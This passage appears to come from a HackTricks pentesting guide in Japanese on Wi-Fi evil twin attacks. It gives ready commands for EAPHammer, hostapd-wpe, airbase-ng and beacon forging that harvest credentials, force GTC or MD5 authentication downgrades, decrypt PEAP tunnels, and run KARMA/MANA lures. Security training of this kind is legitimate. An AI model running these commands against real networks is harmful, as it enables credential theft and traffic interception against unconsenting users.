WPA/2を使用してEvil Twinを作成することができ、デバイスがそのSSIDにWPA/2で接続するように設定されている場合、接続を試みます。とにかく、4-way-handshakeを完了するためには、クライアントが使用するパスワードを知る必要があります。それを知らない場合接続は完了しません

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

エンタープライズイービルツイン

この攻撃を理解するためには、まずWPAエンタープライズの説明を読むことをお勧めします。

hostapd-wpeの使用

hostapd-wpeは動作するために設定ファイルが必要です。これらの設定を自動化するためには、https://github.com/WJDigby/apd_launchpadを使用してくださいPythonファイルを /etc/hostapd-wpe/ にダウンロードしてください)。

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
設定ファイルでは、ssid、チャンネル、ユーザーファイル、cret/key、dhパラメータ、wpaバージョン、認証など、多くの異なる項目を選択できます...

[**hostapd-wpeを使用してEAP-TLSで任意の証明書でログインを許可する。**](evil-twin-eap-tls.md)

**EAPHammerの使用**
# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

デフォルトでは、EAPHammerは以下の認証方法を目的としていますまずGTCを使用してプレーンテキストパスワードを取得しようとし、その後より堅牢な認証方法を使用することに注意してください

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

これは、長い接続時間を避けるためのデフォルトの方法論です。しかし、認証方法を最も弱いものから最も強いものへと指定することもできます:

--negotiate weakest

以下のように使用することもできます:

  • --negotiate gtc-downgrade を使用して、高効率な GTC ダウングレード実装を使用します(プレーンテキストパスワード)。
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP で手動で提供する方法を指定します(攻撃が検出されにくくなるように、組織と同じ認証方法を同じ順序で提供します)。
  • wikiでさらに情報を見る

Airgeddon の使用

Airgeddon は、以前に生成された証明書を使用して、WPA/WPA2-Enterprise ネットワークに EAP 認証を提供することができます。偽のネットワークは接続プロトコルを EAP-MD5 にダウングレードし、ユーザーとパスワードの MD5 をキャプチャすることができます。その後、攻撃者はパスワードをクラックしようと試みることができます。 Airggedon は、**連続的な Evil Twin 攻撃(騒々しい)または誰かが接続するまで Evil Attack を作成するだけ(スムーズ)**の可能性を提供します。

Evil Twins 攻撃における PEAP と EAP-TTLS TLS トンネルのデバッグ

この方法は PEAP 接続でテストされましたが、任意の TLS トンネルを復号しているので、EAP-TTLS でも機能するはずです

hostapd-wpe設定内で、dh_file を含む行をコメントアウトします(dh_file=/etc/hostapd-wpe/certs/dh から #dh_file=/etc/hostapd-wpe/certs/dh へ)。
これにより、hostapd-wpe は DH の代わりに RSA を使用してキーを交換するため、後でサーバーのプライベートキーを知っていることでトラフィックを復号することができます。

今、通常どおりその変更された設定で hostapd-wpe を使用して Evil Twin を開始します。また、Evil Twin 攻撃を実行しているインターフェースwireshark も開始します。

今、または後ですでにいくつかの認証試みをキャプチャした後、wireshark にプライベート RSA キーを追加できます: 編集 --> 環境設定 --> プロトコル --> TLS --> (RSA キーリスト) 編集...

新しいエントリを追加し、次の値でフォームに記入します: IP アドレス = 任意 -- ポート = 0 -- プロトコル = データ -- キーファイル(問題を避けるため、パスワード保護されていないキーファイルを選択します)。

そして、新しい "復号化された TLS" タブを見てください:

KARMA, MANA, Loud MANA および既知のビーコン攻撃

ESSID と MAC のブラック/ホワイトリスト

以下の表は、利用可能な MFACLManagement Frame Access Control Listsの異なるタイプと、使用時の効果をリストしています

# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
apples
oranges
grapes
pears

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

KARMA攻撃は、ステーションが使用するネットワーク選択プロセスを悪用するローグアクセスポイント攻撃の第二の形態です。2005年のホワイトペーパーで、Dino Dai ZoviとShane Macaulayは、攻撃者がアクセスポイントを設定して指向性プローブリクエストをリッスンし、それらに一致する指向性プローブレスポンスで応答する方法を説明しています。これにより、影響を受けるステーションは自動的に攻撃者のアクセスポイントにアソシエーションリクエストを送信します。アクセスポイントはアソシエーションレスポンスで応答し、影響を受けるステーションが攻撃者に接続する原因となります。

MANA

Ian de VilliersとDominic Whiteによると、現代のステーションは、少なくとも1つのブロードキャストプローブリクエストにすでに応答しているアクセスポイントからの指向性プローブレスポンスを無視することで自身をKARMA攻撃から守るように設計されています。これにより、KARMA攻撃に対して脆弱なステーションの数が大幅に減少しましたが、2015年にWhiteとde Villiersはこのような保護を回避する手段を開発しました。Whiteとde Villiersの改良されたKARMA攻撃MANA攻撃では、指向性プローブレスポンスを使用して近くのステーションのPNLを再構築します。ステーションからブロードキャストプローブリクエストが受信されると、攻撃者のアクセスポイントは、そのデバイスからの直接プローブで既に見られたステーションのPNLから任意のSSIDで応答します。

要約すると、MANAアルゴリズムは次のように機能しますアクセスポイントがプローブリクエストを受信するたびに、それがブロードキャストプローブか指向性プローブかをまず判断します。指向性プローブの場合、送信者のMACアドレスはハッシュテーブルに追加されますまだそこにない場合そして、ESSIDはそのデバイスのPNLに追加されます。APはその後、指向性プローブレスポンスで応答します。ブロードキャストプローブの場合、アクセスポイントはそのデバイスのPNLにあるネットワークごとにプローブレスポンスで応答します。

eaphammerを使用したMANA攻撃

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

ラウドMANA

標準のMANA攻撃では、指向性プロービングを一切使用しないデバイスに対して攻撃することはできません。したがって、デバイスのPNL内に以前から知っているエントリが一つもない場合、別の攻撃方法を考える必要があります。

一つの可能性は、ラウドMANA攻撃と呼ばれるものです。この攻撃は、物理的に近い位置にあるクライアントデバイスは、PNL内に少なくともいくつかの共通のエントリを持っている可能性が高いという考えに基づいています。

要約すると、ラウドMANA攻撃は、特定のデバイスのPNL内の各ESSIDに対してプローブリクエストに応答するのではなく、以前に見たすべてのデバイスのPNL内のすべてのESSIDに対してプローブ応答を送信するものです。集合論に関連付けると、APは近くのデバイスのすべてのPNLの和集合にある各ESSIDに対してプローブ応答を送信すると言えます。

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

既知のビーコン攻撃

Loud MANA攻撃が成功しないケースもあります。
既知のビーコン攻撃は、攻撃者が被害者に接続させようとする「ブルートフォース」ESSIDの方法です。攻撃者は任意のESSIDに応答するAPを作成し、ワードリスト内の各名前のESSIDを偽装するビーコンを送信するコードを実行します。被害者のPNL内にこれらのESSID名がいくつか含まれていることを願い、偽のAPに接続しようとします。
Eaphammerは、リスト内のすべてのESSIDが充電されるMANA攻撃としてこの攻撃を実装しました--loudを組み合わせてLoud MANA + 既知のビーコン攻撃を作成することもできます):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

既知のビーコンバースト攻撃

既知のビーコンは騒がしいです。Eaphammerプロジェクト内のスクリプトを使用して、ファイル内のすべてのESSID名のビーコンを非常に迅速に発信することができます。このスクリプトをEaphammerのMANA攻撃と組み合わせると、クライアントはあなたのAPに接続できるようになります。

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Directは、デバイス同士がワイヤレスAPなしで接続できるWi-Fi標準です。2台のデバイスのうち1台がAPとして機能しますグループオーナーと呼ばれます。プリンターやテレビなど、多くのIoTデバイスでWi-Fi Directを見つけることができます。

Wi-Fi Directは、デバイスを安全に接続するためにWi-Fi Protected SetupWPSに依存しています。WPSには、Push-Button ConfigurationPBCPIN entryNear-Field CommunicationNFCなどの複数の設定方法があります。

したがって、PINが使用されている場合、以前に見たWPS PINへの攻撃もここで有効です。

EvilDirect Hijacking

これはEvil-Twinと同様にWi-Fi Direct用に機能し、グループオーナーになりすまして他のデバイス例えばスマートフォンがあなたに接続するように試みることができますairbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0

参考文献

TODO: https://github.com/wifiphisher/wifiphisher を確認してくださいFacebookでのログインやキャプティブポータルでのWPAの模倣について

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために HackenProof Discord サーバーに参加しましょう!

Hacking Insights
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加しましょう。

Real-Time Hack News
リアルタイムのニュースと洞察を通じて、速いペースで進むハッキングの世界を最新の状態に保ちましょう。

Latest Announcements
最新のバグバウンティの開始や重要なプラットフォームの更新情報を入手しましょう。

今すぐ Discord に参加して、トップハッカーとのコラボレーションを始めましょう!

htARTE (HackTricks AWS Red Team Expert) で AWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法